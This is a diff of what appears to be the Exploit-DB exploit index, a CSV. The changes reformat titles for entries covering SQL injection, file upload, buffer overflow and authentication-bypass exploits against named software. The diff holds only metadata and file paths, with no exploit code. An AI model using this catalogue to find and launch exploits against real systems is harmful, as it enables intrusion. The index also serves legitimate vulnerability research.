 18908,platforms/php/webapps/18908.txt,"Vanilla Forums LatestComment 1.1 Plugin Persistent XSS",2012-05-18,"Henry Hoggard",php,webapps,0
@@ -16338,7 +16338,7 @@ id,file,description,date,author,platform,type,port
 18926,platforms/windows/dos/18926.php,"bsnes v0.87 Local Denial Of Service",2012-05-25,"Yakir Wizman",windows,dos,0
 18927,platforms/php/webapps/18927.txt,"SocialEngine 4.2.2 Multiple Vulnerabilities",2012-05-25,i4k,php,webapps,0
 18929,platforms/windows/remote/18929.rb,"RabidHamster R4 Log Entry sprintf() Buffer Overflow",2012-05-25,metasploit,windows,remote,0
-18931,platforms/hardware/dos/18931.rb,"iOS <= v5.1.1 Safari Browser JS match(), search() Crash PoC",2012-05-25,"Alberto Ortega",hardware,dos,0
+18931,platforms/hardware/dos/18931.rb,"iOS <= 5.1.1 Safari Browser - JS match(), search() Crash PoC",2012-05-25,"Alberto Ortega",hardware,dos,0
 18932,platforms/linux/remote/18932.py,"Symantec Web Gateway 5.0.2 Remote LFI Root Exploit",2012-05-26,muts,linux,remote,0
 18933,platforms/windows/remote/18933.rb,"QuickShare File Share 1.2.1 Directory Traversal Vulnerability",2012-05-27,metasploit,windows,remote,0
 18934,platforms/php/webapps/18934.rb,"WeBid converter.php Remote PHP Code Injection",2012-05-27,metasploit,php,webapps,0
@@ -16351,14 +16351,14 @@ id,file,description,date,author,platform,type,port
 18945,platforms/windows/dos/18945.txt,"WinRadius Server 2009 Denial Of Service",2012-05-29,demonalex,windows,dos,0
 18946,platforms/windows/dos/18946.txt,"Tftpd32 DNS Server 4.00 Denial Of Service",2012-05-29,demonalex,windows,dos,0
 18947,platforms/windows/local/18947.rb,"ispVM System XCF File Handling Overflow",2012-05-29,metasploit,windows,local,0
-18948,platforms/php/webapps/18948.txt,"PBBoard v2.1.4 Multiple SQL Injection Vulnerabilities",2012-05-29,loneferret,php,webapps,0
-18950,platforms/php/webapps/18950.txt,"NewsAdd <=1.0 Multiple SQL Injection Vulnerabilities",2012-05-30,WhiteCollarGroup,php,webapps,0
+18948,platforms/php/webapps/18948.txt,"PBBoard 2.1.4 - Multiple SQL Injection Vulnerabilities",2012-05-29,loneferret,php,webapps,0
+18950,platforms/php/webapps/18950.txt,"NewsAdd <= 1.0 - Multiple SQL Injection Vulnerabilities",2012-05-30,WhiteCollarGroup,php,webapps,0
 18952,platforms/windows/dos/18952.txt,"Microsoft Wordpad 5.1 (.doc) Null Pointer Dereference Vulnerability",2012-05-30,condis,windows,dos,0
 18953,platforms/php/webapps/18953.txt,"Ganesha Digital Library 4.0 Multiple Vulnerabilities",2012-05-30,X-Cisadane,php,webapps,0
 18954,platforms/windows/local/18954.rb,"MPlayer SAMI Subtitle File Buffer Overflow",2012-05-30,metasploit,windows,local,0
 18955,platforms/php/webapps/18955.txt,"Simple Web Content Management System 1.1-1.3 Multiple SQL Injection",2012-05-30,loneferret,php,webapps,0
 18956,platforms/windows/dos/18956.c,"GIMP 2.6 script-fu < 2.8.0 Buffer Overflow Vulnerability",2012-05-31,"Joseph Sheridan",windows,dos,0
-18957,platforms/php/webapps/18957.rb,"PHP Volunteer Management System v1.0.2 Arbitrary File Upload",2012-05-31,metasploit,php,webapps,0
+18957,platforms/php/webapps/18957.rb,"PHP Volunteer Management System 1.0.2 - Arbitrary File Upload",2012-05-31,metasploit,php,webapps,0
 18958,platforms/windows/dos/18958.html,"Sony VAIO Wireless Manager 4.0.0.0 Buffer Overflows",2012-05-31,"High-Tech Bridge SA",windows,dos,0
 18959,platforms/multiple/local/18959.txt,"Browser Navigation Download Trick",2012-05-31,"Michal Zalewski",multiple,local,0
 18960,platforms/php/webapps/18960.txt,"NewsAdd <= 1.0 (lerNoticia.php id) SQL Injection Vulnerability",2012-05-31,"Yakir Wizman",php,webapps,0
@@ -16429,7 +16429,7 @@ id,file,description,date,author,platform,type,port
 19038,platforms/php/webapps/19038.rb,"Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",2012-06-10,metasploit,php,webapps,0
 19039,platforms/bsd/remote/19039,"BSD 4.2 fingerd buffer overflow Vulnerability",1988-10-01,Anonymous,bsd,remote,0
 19040,platforms/solaris/remote/19040,"SunView (SunOS <= 4.1.1) selection_svc Vulnerability",1990-08-14,"Peter Shipley",solaris,remote,0
-19041,platforms/aix/dos/19041,"Digital Ultrix 4.0/4.1  /usr/bin/chroot Vulnerability",1991-05-01,Anonymous,aix,dos,0
+19041,platforms/aix/dos/19041,"Digital Ultrix 4.0/4.1 /usr/bin/chroot Vulnerability",1991-05-01,Anonymous,aix,dos,0
 19042,platforms/solaris/dos/19042,"SunOS <= 4.1.1 /usr/release/bin/makeinstall Vulnerability",1999-11-23,Anonymous,solaris,dos,0
 19043,platforms/aix/dos/19043,"SunOS <= 4.1.1 /usr/release/bin/winstall Vulnerability",1999-11-12,Anonymous,aix,dos,0
 19044,platforms/solaris/remote/19044,"SunOS <= 4.1.3 LD_LIBRARY_PATH and LD_OPTIONS Vulnerability",1992-05-27,Anonymous,solaris,remote,0
@@ -16438,11 +16438,11 @@ id,file,description,date,author,platform,type,port
 19047,platforms/aix/remote/19047,"Stalker Internet Mail Server 1.6 Buffer Overflow Vulnerability",2001-09-12,"David Luyer",aix,remote,0
 19048,platforms/aix/remote/19048,"IRIX <= 6.4 pfdisplay.cgi Vulnerability",1998-04-07,"J.A. Gutierrez",aix,remote,0
 19049,platforms/aix/dos/19049,"BSDI <= 4.0 tcpmux / inetd crash Vulnerability",1998-04-07,"Mark Schaefer",aix,dos,0
-19050,platforms/php/webapps/19050.txt,"Wordpress wp-gpx-map version 1.1.21 Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
+19050,platforms/php/webapps/19050.txt,"Wordpress wp-gpx-map 1.1.21 - Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
 19051,platforms/php/webapps/19051.txt,"ClanSuite 2.9 Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
-19052,platforms/php/webapps/19052.txt,"Wordpress User Meta Version 1.1.1 Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
-19053,platforms/php/webapps/19053.txt,"Wordpress Top Quark Architecture Version 2.10 Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
-19054,platforms/php/webapps/19054.txt,"Wordpress SfBrowser Version 1.4.5 Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
+19052,platforms/php/webapps/19052.txt,"Wordpress User Meta 1.1.1 - Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
+19053,platforms/php/webapps/19053.txt,"Wordpress Top Quark Architecture 2.10 - Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
+19054,platforms/php/webapps/19054.txt,"Wordpress SfBrowser 1.4.5 - Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
 19055,platforms/php/webapps/19055.txt,"Wordpress Pica Photo Gallery 1.0 Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
 19056,platforms/php/webapps/19056.txt,"Wordpress Mac Photo Gallery 2.7 Arbitrary File Upload",2012-06-11,"Adrien Thierry",php,webapps,0
 19057,platforms/php/webapps/19057.txt,"Wordpress drag and drop file upload 0.1 Arbitrary File Upload Vulnerability",2012-06-11,"Adrien Thierry",php,webapps,0
@@ -16451,7 +16451,7 @@ id,file,description,date,author,platform,type,port
 19060,platforms/php/webapps/19060.php,"TheBlog <= 2.0 Multiple Vulnerabilities",2012-06-11,WhiteCollarGroup,php,webapps,0
 19064,platforms/hardware/dos/19064.txt,"F5 BIG-IP Remote Root Authentication Bypass Vulnerability",2012-06-11,"Florent Daigniere",hardware,dos,0
 19065,platforms/php/webapps/19065.rb,"Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",2012-06-12,metasploit,php,webapps,0
-19066,platforms/irix/local/19066,"SGI IRIX 5.3/6.2,SGI license_oeo 1.0  LicenseManager NETLS_LICENSE_FILE Vulnerability",1996-04-05,"Arthur Hagen",irix,local,0
+19066,platforms/irix/local/19066,"SGI IRIX 5.3/6.2,SGI license_oeo 1.0 LicenseManager NETLS_LICENSE_FILE Vulnerability",1996-04-05,"Arthur Hagen",irix,local,0
 19067,platforms/irix/local/19067,"SGI IRIX <= 6.4,SGI license_oeo 3.0/3.1/3.1.1 LicenseManager LICENSEMGR_FILE_ROOT Vulnerability",1996-11-22,"Yuri Volobuev",irix,local,0
 19068,platforms/unix/local/19068,"Digital UNIX 4.0/4.0 B/4.0 D SUID/SGID Core File Vulnerability",1998-04-06,"ru5ty and SoReN",unix,local,0
 19069,platforms/linux/remote/19069,"Qualcomm Eudora Internet Mail Server 1.2 Buffer Overflow Vulnerability",1998-04-14,"Netstat Webmaster",linux,remote,0
@@ -16473,7 +16473,7 @@ id,file,description,date,author,platform,type,port
 19085,platforms/linux/dos/19085.c,"Linux kernel 2.0/2.1 SIGIO Vulnerability",1998-06-30,"David Luyer",linux,dos,0
 19086,platforms/linux/remote/19086.c,"wu-ftpd 2.4.2,SCO Open Server <= 5.0.5,ProFTPD 1.2 pre1 realpath Vulnerability (1)",1999-02-09,"smiler and cossack",linux,remote,21
 19087,platforms/linux/remote/19087.c,"wu-ftpd 2.4.2,SCO Open Server <= 5.0.5,ProFTPD 1.2 pre1 realpath Vulnerability (2)",1999-02-09,"jamez and c0nd0r",linux,remote,21
-19089,platforms/windows/dos/19089.txt,"OpenType Font File Format DoS Exploit for Windows",2012-06-12,Cr4sh,windows,dos,0
+19089,platforms/windows/dos/19089.txt,"Windows OpenType Font - File Format DoS Exploit",2012-06-12,Cr4sh,windows,dos,0
 19091,platforms/hardware/remote/19091.py,"F5 BIG-IP Remote Root Authentication Bypass Vulnerability",2012-06-12,"David Kennedy (ReL1K)",hardware,remote,0
 19092,platforms/multiple/remote/19092.py,"MySQL Remote Root Authentication Bypass",2012-06-12,"David Kennedy (ReL1K)",multiple,remote,0
 19093,platforms/multiple/remote/19093,"Allaire ColdFusion Server <= 4.0 Remote File Display, Deletion, Upload and Execution Vulnerability",1998-12-25,rain.forest.puppy,multiple,remote,0
@@ -16510,11 +16510,11 @@ id,file,description,date,author,platform,type,port
 19128,platforms/solaris/local/19128.c,"Sun Solaris <= 7.0 sdtcm_convert Vulnerability",1998-10-23,UNYUN,solaris,local,0
 19129,platforms/multiple/remote/19129,"Microsoft IIS 4.0,Microsoft Site Server 3.0 Showcode ASP Vulnerability",1999-05-07,L0pht,multiple,remote,0
 19130,platforms/freebsd/local/19130.c,"FreeBSD <= 3.0 UNIX-domain panic Vulnerability",1999-05-05,"Lukasz Luzar",freebsd,local,0
-19131,platforms/windows/remote/19131.py,"XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit",2012-06-14,mr_me,windows,remote,0
+19131,platforms/windows/remote/19131.py,"XM Easy Personal FTP Server <= 5.30 - Remote Format String Write4 Exploit",2012-06-14,mr_me,windows,remote,0
 19132,platforms/php/webapps/19132.txt,"MYRE Real Estate Mobile 2012 Multiple Vulnerabilities",2012-06-14,Vulnerability-Lab,php,webapps,0
-19133,platforms/php/webapps/19133.txt,"Cells Blog CMS v1.1 Multiple Web Vulnerabilites",2012-06-14,Vulnerability-Lab,php,webapps,0
-19134,platforms/php/webapps/19134.txt,"Swoopo Gold Shop CMS v8.4.56 - Multiple Web Vulnerabilities",2012-06-14,Vulnerability-Lab,php,webapps,0
-19135,platforms/php/webapps/19135.txt,"Squirrelcart Cart Shop v3.3.4 Multiple Web Vulnerabilities",2012-06-14,Vulnerability-Lab,php,webapps,0
+19133,platforms/php/webapps/19133.txt,"Cells Blog CMS 1.1 - Multiple Web Vulnerabilites",2012-06-14,Vulnerability-Lab,php,webapps,0
+19134,platforms/php/webapps/19134.txt,"Swoopo Gold Shop CMS 8.4.56 - Multiple Web Vulnerabilities",2012-06-14,Vulnerability-Lab,php,webapps,0
+19135,platforms/php/webapps/19135.txt,"Squirrelcart Cart Shop 3.3.4 - Multiple Web Vulnerabilities",2012-06-14,Vulnerability-Lab,php,webapps,0
 19137,platforms/hardware/dos/19137.rb,"Wyse Machine Remote Power off (DOS) without any privilege",2012-06-14,it.solunium,hardware,dos,0
 19138,platforms/windows/local/19138.txt,"ESRI ArcGIS 10.0.X / ArcMap 9 Arbitrary Code Execution",2012-06-14,"Boston Cyber Defense",windows,local,0
 19139,platforms/multiple/local/19139.py,"Adobe Illustrator CS5.5 Memory Corruption Exploit",2012-06-14,"Felipe Andres Manzano",multiple,local,0
@@ -16527,7 +16527,7 @@ id,file,description,date,author,platform,type,port
 19147,platforms/windows/remote/19147,"NT IIS4 Remote Web-Based Administration Vulnerability",1999-01-14,Mnemonix,windows,remote,0
 19149,platforms/windows/remote/19149.c,"NT IIS4 Log Avoidance Vulnerability",1999-01-22,Mnemonix,windows,remote,0
 19152,platforms/windows/remote/19152,"Microsoft IIS 5.0 IISAPI Extension Enumerate Root Web Server Directory Vulnerability",1999-01-26,Mnemonix,windows,remote,0
-19154,platforms/php/webapps/19154.py,"qdPM  v.7 Arbitrary File upload",2012-06-14,loneferret,php,webapps,0
+19154,platforms/php/webapps/19154.py,"qdPM v.7 Arbitrary File upload",2012-06-14,loneferret,php,webapps,0
 19156,platforms/windows/remote/19156,"Microsoft Internet Explorer 5.0.1 Invalid Byte Cross-Frame Access Vulnerability",1999-01-28,"Georgi Guninski",windows,remote,0
 19158,platforms/solaris/local/19158.c,"Sun Solaris <= 2.5.1 PAM & unix_scheme Vulnerability",1997-02-25,"Cristian Schipor",solaris,local,0
 19159,platforms/solaris/local/19159.c,"Solaris <= 2.5.1 ffbconfig Vulnerability",1997-02-10,"Cristian Schipor",solaris,local,0
@@ -16542,19 +16542,19 @@ id,file,description,date,author,platform,type,port
 19174,platforms/php/webapps/19174.py,"Useresponse <= 1.0.2 Privilege Escalation & RCE Exploit",2012-06-15,mr_me,php,webapps,0
 19175,platforms/windows/local/19175.rb,"Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",2012-06-17,metasploit,windows,local,0
 19176,platforms/windows/local/19176.rb,"TFM MMPlayer (m3u/ppl File) Buffer Overflow",2012-06-15,metasploit,windows,local,0
-19177,platforms/windows/remote/19177.rb,"ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability",2012-06-15,metasploit,windows,remote,0
+19177,platforms/windows/remote/19177.rb,"ComSndFTP 1.3.7 Beta - USER Format String (Write4) Vulnerability",2012-06-15,metasploit,windows,remote,0
 19178,platforms/php/webapps/19178.txt,"WEBO Site SpeedUp <= 1.6.1 Multiple Vulnerabilities",2012-06-16,dun,php,webapps,0
 19179,platforms/php/webapps/19179.txt,"PHP Decoda 3.3.1 Local File Inclusion",2012-06-16,"Number 7",php,webapps,0
-19180,platforms/php/webapps/19180.txt,"News Script PHP v1.2 Multiple Vulnerabilites",2012-06-16,Vulnerability-Lab,php,webapps,0
+19180,platforms/php/webapps/19180.txt,"News Script PHP 1.2 - Multiple Vulnerabilites",2012-06-16,Vulnerability-Lab,php,webapps,0
 19181,platforms/windows/dos/19181.txt,"XnView RAS Image Processing Heap Overflow",2012-06-16,"Francis Provencher",windows,dos,0
 19182,platforms/windows/dos/19182.txt,"XnView ECW Image Processing Heap Overflow",2012-06-16,"Francis Provencher",windows,dos,0
 19183,platforms/windows/dos/19183.txt,"XnView FlashPix Image Processing Heap Overflow",2012-06-16,"Francis Provencher",windows,dos,0
 19184,platforms/windows/dos/19184.pl,"Karafun Player 1.20.86 .m3u Crash PoC",2012-06-16,Styxosaurus,windows,dos,0
 19185,platforms/hardware/webapps/19185.txt,"Huawei HG866 Authentication Bypass",2012-06-16,hkm,hardware,webapps,0
 19186,platforms/windows/remote/19186.rb,"Microsoft XML Core Services MSXML Uninitialized Memory Corruption",2012-06-16,metasploit,windows,remote,0
-19187,platforms/php/webapps/19187.txt,"Wordpress Automatic Plugin v2.0.3 SQL Injection",2012-06-16,nick58,php,webapps,0
-19188,platforms/php/webapps/19188.txt,"Nuked Klan SP CMS v4.5 SQL Injection Vulnerability",2012-06-16,Vulnerability-Lab,php,webapps,0
-19189,platforms/php/webapps/19189.txt,"iScripts EasyCreate CMS v2.0 Multiple Vulnerabilities",2012-06-16,Vulnerability-Lab,php,webapps,0
+19187,platforms/php/webapps/19187.txt,"Wordpress Automatic Plugin 2.0.3 - SQL Injection",2012-06-16,nick58,php,webapps,0
+19188,platforms/php/webapps/19188.txt,"Nuked Klan SP CMS 4.5 - SQL Injection Vulnerability",2012-06-16,Vulnerability-Lab,php,webapps,0
+19189,platforms/php/webapps/19189.txt,"iScripts EasyCreate CMS 2.0 - Multiple Vulnerabilities",2012-06-16,Vulnerability-Lab,php,webapps,0
 19192,platforms/windows/local/19192,"Hancom Office 2007 Reboot.ini Clear-Text Passwords Vulnerability",1999-02-09,"Russ Cooper",windows,local,0
 19193,platforms/multiple/remote/19193,"Allaire Forums 2.0.4 Getfile Vulnerability",1999-02-11,"Cameron Childress",multiple,remote,0
 19194,platforms/multiple/remote/19194,"Microsoft IIS 3.0/4.0 Using ASP And FSO To Read Server Files Vulnerability",1999-02-11,"Gary Geisbert",multiple,remote,0
@@ -16563,7 +16563,7 @@ id,file,description,date,author,platform,type,port
 19197,platforms/windows/remote/19197,"Microsoft Windows NT <= 4.0 SP5,Terminal Server 4.0 ""Pass the Hash"" with Modified SMB Client Vulnerability",1997-04-08,"Paul Ashton",windows,remote,0
 19198,platforms/windows/local/19198,"Microsoft Windows NT <= 4.0 SP4 Known DLL Cache Vulnerability",1999-02-18,L0pht,windows,local,0
 19199,platforms/solaris/local/19199.c,"Solaris <= 2.5.1 automount Vulnerability",1997-11-26,Anonymous,solaris,local,0
-19200,platforms/unix/local/19200.c,"BSD/OS <= 2.1,Caldera UnixWare 7/7.1 .0,FreeBSD FreeBSD 1.1.5 .1/2.0 ,HP HP-UX <= 10.34,IBM AIX <= 4.2,SGI IRIX <= 6.3,SunOS <= 4.1.4  libXt library Vulnerability (1)",1997-08-25,bloodmask,unix,local,0
+19200,platforms/unix/local/19200.c,"BSD/OS <= 2.1,Caldera UnixWare 7/7.1 .0,FreeBSD FreeBSD 1.1.5 .1/2.0 ,HP HP-UX <= 10.34,IBM AIX <= 4.2,SGI IRIX <= 6.3,SunOS <= 4.1.4 libXt library Vulnerability (1)",1997-08-25,bloodmask,unix,local,0
 19201,platforms/unix/local/19201.c,"BSD/OS <= 2.1,Caldera UnixWare 7/7.1 .0,FreeBSD FreeBSD 1.1.5 .1/2.0 ,HP HP-UX <= 10.34,IBM AIX <= 4.2,SGI IRIX <= 6.3,SunOS <= 4.1.4 libXt library Vulnerability (2)",1997-08-25,jGgM,unix,local,0
 19202,platforms/unix/local/19202.c,"BSD/OS <= 2.1,Caldera UnixWare 7/7.1 .0,FreeBSD FreeBSD 1.1.5 .1/2.0 ,HP HP-UX <= 10.34,IBM AIX <= 4.2,SGI IRIX <= 6.3,SunOS <= 4.1.4 libXt library Vulnerability (3)",1997-08-25,jGgM,unix,local,0
 19203,platforms/unix/local/19203.c,"BSD/OS <= 2.1,DG/UX <= 4.0,Debian Linux 0.93,Digital UNIX <= 4.0 B,FreeBSD <= 2.1.5,HP-UX <= 10.34,IBM AIX <= 4.1.5,NetBSD 1.0/1.1,NeXTstep <= 4.0, SGI IRIX <= 6.3,SunOS <= 4.1.4 rlogin Vulnerability",1996-12-04,"Roger Espel Llima",unix,local,0
@@ -16586,7 +16586,7 @@ id,file,description,date,author,platform,type,port
 19221,platforms/multiple/remote/19221,"SmartDesk WebSuite 2.1 Buffer Overflow Vulnerability",1999-05-25,cmart,multiple,remote,0
 19222,platforms/multiple/remote/19222,"Gordano NTMail 4.2 Web File Access Vulnerability",1999-05-25,Marc,multiple,remote,0
 19223,platforms/multiple/remote/19223,"Floosietek FTGate 2.1 Web File Access Vulnerability",1999-05-25,Marc,multiple,remote,0
-19224,platforms/windows/remote/19224.c,"Computalynx CMail 2.3  Web File Access Vulnerability",1999-05-25,Marc,windows,remote,0
+19224,platforms/windows/remote/19224.c,"Computalynx CMail 2.3 Web File Access Vulnerability",1999-05-25,Marc,windows,remote,0
 19225,platforms/multiple/dos/19225,"Compaq Client Management Agents 3.70/4.0,Insight Management Agents 4.21 A/4.22 A/4.30 A,Intelligent Cluster Administrator 1.0,Management Agents for Workstations 4.20 A,Server Management Agents <= 4.23,Survey Utility 2.0 Web File Access Vulnerability",1999-05-25,"Master Dogen",multiple,dos,0
 19226,platforms/linux/remote/19226.c,"University of Washington pop2d 4.4 Buffer Overflow Vulnerability",1999-05-26,"Chris Evans",linux,remote,0
 19227,platforms/windows/local/19227,"IBM Remote Control Software 1.0 Vulnerability",1999-05-10,"Thomas Krug",windows,local,0
@@ -16602,7 +16602,7 @@ id,file,description,date,author,platform,type,port
 19237,platforms/aix/remote/19237,"Gordano NTMail 3.0/5.0 SPAM Relay Vulnerability",1999-06-08,Geo,aix,remote,0
 19238,platforms/windows/remote/19238,"Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3 DoS Duplicate Hostname Vulnerability",1999-06-04,"Carl Byington",windows,remote,0
 19239,platforms/windows/remote/19239,"Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4/4.0 SP5 IIS IDC Path Mapping Vulnerability",1999-06-04,"Scott Danahy",windows,remote,0
-19240,platforms/linux/local/19240.c,"Caldera kdenetwork 1.1.1 -1,Caldera OpenLinux 1.3/2.2,KDE KDE 1.1/1.1.1,	RedHat Linux 6.0  K-Mail File Creation Vulnerability",1999-06-09,"Brian Mitchell",linux,local,0
+19240,platforms/linux/local/19240.c,"Caldera kdenetwork 1.1.1 -1,Caldera OpenLinux 1.3/2.2,KDE KDE 1.1/1.1.1,	RedHat Linux 6.0 K-Mail File Creation Vulnerability",1999-06-09,"Brian Mitchell",linux,local,0
 19241,platforms/linux/remote/19241.c,"Debian Linux 2.1,Linux kernel 2.2/2.3,RedHat Linux 6.0,S.u.S.E. Linux 6.1 IP Options Vulnerability",1999-06-01,"Piotr Wilkin",linux,remote,0
 19242,platforms/multiple/remote/19242,"CdomainFree <= 2.4 Remote File Execution Vulnerability",1999-06-01,"Salvatore Sanfilippo -antirez-",multiple,remote,0
 19243,platforms/linux/local/19243,"G. Wilford man 2.3.10 Symlink Vulnerability",1999-06-02,"Thomas Fischbacher",linux,local,0
@@ -16636,7 +16636,7 @@ id,file,description,date,author,platform,type,port
 19272,platforms/linux/local/19272,"Linux kernel 2.2 ldd core Vulnerability",1999-01-26,"Dan Burcaw",linux,local,0
 19273,platforms/irix/local/19273.sh,"SGI IRIX 6.2 day5notifier Vulnerability",1997-05-16,"Mike Neuman",irix,local,0
 19274,platforms/irix/local/19274.c,"SGI IRIX <= 6.3 df Vulnerability",1997-05-24,"David Hedley",irix,local,0
-19275,platforms/irix/local/19275.c,"SGI IRIX <= 6.4  datman/cdman Vulnerability",1996-12-09,"Yuri Volobuev",irix,local,0
+19275,platforms/irix/local/19275.c,"SGI IRIX <= 6.4 datman/cdman Vulnerability",1996-12-09,"Yuri Volobuev",irix,local,0
 19276,platforms/irix/local/19276.c,"SGI IRIX <= 6.2 eject Vulnerability (1)",1997-05-25,DCRH,irix,local,0
 19277,platforms/irix/local/19277.c,"SGI IRIX <= 6.2 eject Vulnerability (2)",1997-05-25,"Last Stage of Delirium",irix,local,0
 19278,platforms/hp-ux/dos/19278.pl,"HP HP-UX <= 10.20,IBM AIX <= 4.1.5 connect() Denial of Service Vulnerability",1997-03-05,"Cahya Wirawan",hp-ux,dos,0
@@ -16653,7 +16653,7 @@ id,file,description,date,author,platform,type,port
 19289,platforms/windows/dos/19289.txt,"Samsung AllShare 2.1.1.0 NULL Pointer Deference",2012-06-19,"Luigi Auriemma",windows,dos,0
 19290,platforms/multiple/dos/19290.txt,"Airlock WAF 4.2.4 Overlong UTF-8 Sequence Bypass",2012-06-19,"SEC Consult",multiple,dos,0
 19291,platforms/windows/remote/19291.rb,"EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability",2012-06-19,metasploit,windows,remote,0
-19292,platforms/php/webapps/19292.txt,"iBoutique eCommerce v4.0 Multiple Web Vulnerabilites",2012-06-19,Vulnerability-Lab,php,webapps,0
+19292,platforms/php/webapps/19292.txt,"iBoutique eCommerce 4.0 - Multiple Web Vulnerabilites",2012-06-19,Vulnerability-Lab,php,webapps,0
 19293,platforms/windows/local/19293.py,"Sysax <= 5.62 Admin Interface Local Buffer Overflow",2012-06-20,"Craig Freyman",windows,local,0
 19294,platforms/php/webapps/19294.txt,"WordPress Schreikasten 0.14.13 XSS",2012-06-20,"Henry Hoggard",php,webapps,0
 19295,platforms/windows/remote/19295.rb,"Adobe Flash Player AVM Verification Logic Array Indexing Code Execution",2012-06-20,metasploit,windows,remote,0
@@ -16668,7 +16668,7 @@ id,file,description,date,author,platform,type,port
 19305,platforms/linux/local/19305.c,"RedHat Linux 5.0 msgchk Vulnerability",1998-01-19,"Cesar Tascon Alvarez",linux,local,0
 19306,platforms/aix/local/19306.c,"IBM AIX 4.2.1 portmir Buffer Overflow & Insecure Temporary File Creation Vulnerabilities",1997-10-29,"BM ERS Team",aix,local,0
 19307,platforms/aix/local/19307.c,"IBM AIX <= 4.2 ping Buffer Overflow Vulnerability",1997-07-21,"Bryan P. Self",aix,local,0
-19308,platforms/linux/local/19308.c,"Linux kernel 2.0/2.0.33  i_count Overflow Vulnerability",1998-01-14,"Aleph One",linux,local,0
+19308,platforms/linux/local/19308.c,"Linux kernel 2.0/2.0.33 i_count Overflow Vulnerability",1998-01-14,"Aleph One",linux,local,0
 19309,platforms/aix/local/19309.c,"IBM AIX <= 4.2 lchangelv Buffer Overflow Vulnerability",1997-07-21,"Bryan P. Self",aix,local,0
 19310,platforms/irix/local/19310.c,"SGI IRIX <= 6.4 login Vulnerability",1997-05-26,"David Hedley",irix,local,0
 19311,platforms/linux/local/19311.c,"RedHat Linux 4.2,SGI IRIX <= 6.3,Solaris <= 2.6 mailx Vulnerability (1)",1998-06-20,"Alvaro Martinez Echevarria",linux,local,0
@@ -16708,12 +16708,12 @@ id,file,description,date,author,platform,type,port
 19346,platforms/freebsd/local/19346.c,"FreeBSD <= 3.1,Solaris <= 2.6 Domain Socket Vulnerability",1997-06-19,"Thamer Al-Herbish",freebsd,local,0
 19347,platforms/irix/local/19347.c,"SGI IRIX <= 6.3 pset Vulnerability",1997-07-17,"Last Stage of Delirium",irix,local,0
 19348,platforms/aix/remote/19348,"IBM AIX <= 3.2.5 login(1) Vulnerability",1996-12-04,Anonymous,aix,remote,0
-19349,platforms/irix/local/19349,"SGI IRIX <= 6.4  rmail Vulnerability",1997-05-07,"Yuri Volobuev",irix,local,0
+19349,platforms/irix/local/19349,"SGI IRIX <= 6.4 rmail Vulnerability",1997-05-07,"Yuri Volobuev",irix,local,0
 19350,platforms/solaris/local/19350.sh,"Solaris <= 2.5.1 License Manager Vulnerability",1998-10-21,"Joel Eriksson",solaris,local,0
 19351,platforms/irix/local/19351.sh,"SGI IRIX 5.2/5.3 serial_ports Vulnerability",1994-02-02,transit,irix,local,0
 19353,platforms/irix/local/19353,"SGI IRIX <= 6.4 suid_exec Vulnerability",1996-12-02,"Yuri Volobuev",irix,local,0
 19354,platforms/aix/local/19354,"SGI IRIX 5.1/5.2 sgihelp Vulnerability",1996-12-02,Anonymous,aix,local,0
-19355,platforms/irix/local/19355,"SGI IRIX <= 6.4  startmidi Vulnerabilty",1997-02-09,"David Hedley",irix,local,0
+19355,platforms/irix/local/19355,"SGI IRIX <= 6.4 startmidi Vulnerabilty",1997-02-09,"David Hedley",irix,local,0
 19356,platforms/irix/local/19356,"SGI IRIX <= 6.3 Systour and OutOfBox Vulnerabilities",1996-10-30,"Tun-Hui Hu",irix,local,0
 19357,platforms/irix/dos/19357.sh,"SGI IRIX 6.2 SpaceWare Vulnerability",1996-10-30,"J.A. Guitierrez",irix,dos,0
 19358,platforms/irix/local/19358,"SGI IRIX <= 6.4 xfsdump Vulnerability",1997-05-07,"Yuri Volobuev",irix,local,0
@@ -16724,12 +16724,12 @@ id,file,description,date,author,platform,type,port
 19363,platforms/multiple/remote/19363,"Netscape FastTrack Server 3.0.1 Fasttrack Root Directory Listing Vulnerability",1999-06-07,"JesĂºs LĂ³pez de Aguileta",multiple,remote,0
 19364,platforms/netware/local/19364,"Novell Netware 4.1/4.11 SP5B Remote.NLM Weak Encryption Vulnerability",1999-04-09,dreamer,netware,local,0
 19365,platforms/netware/remote/19365,"Novell Netware 4.1/4.11 SP5B NDS Default Rights Vulnerability",1999-04-09,"Simple Nomad",netware,remote,0
-19368,platforms/multiple/dos/19368.sh,"Lotus Domino 4.6.1/4.6.4  Notes SMTPA MTA Mail Relay Vulnerability",1999-06-15,"Robert Lister",multiple,dos,0
+19368,platforms/multiple/dos/19368.sh,"Lotus Domino 4.6.1/4.6.4 Notes SMTPA MTA Mail Relay Vulnerability",1999-06-15,"Robert Lister",multiple,dos,0
 19369,platforms/windows/remote/19369.rb,"Adobe Flash Player Object Type Confusion",2012-06-25,metasploit,windows,remote,0
-19370,platforms/linux/local/19370.c,"Xi Graphics Accelerated X 4.0 .x/5.0  Buffer Overflow Vulnerabilities",1999-06-25,KSR[T],linux,local,0
+19370,platforms/linux/local/19370.c,"Xi Graphics Accelerated X 4.0 .x/5.0 Buffer Overflow Vulnerabilities",1999-06-25,KSR[T],linux,local,0
 19371,platforms/linux/local/19371.c,"VMWare 1.0.1 Buffer Overflow Vulnerability",1999-06-25,funkysh,linux,local,0
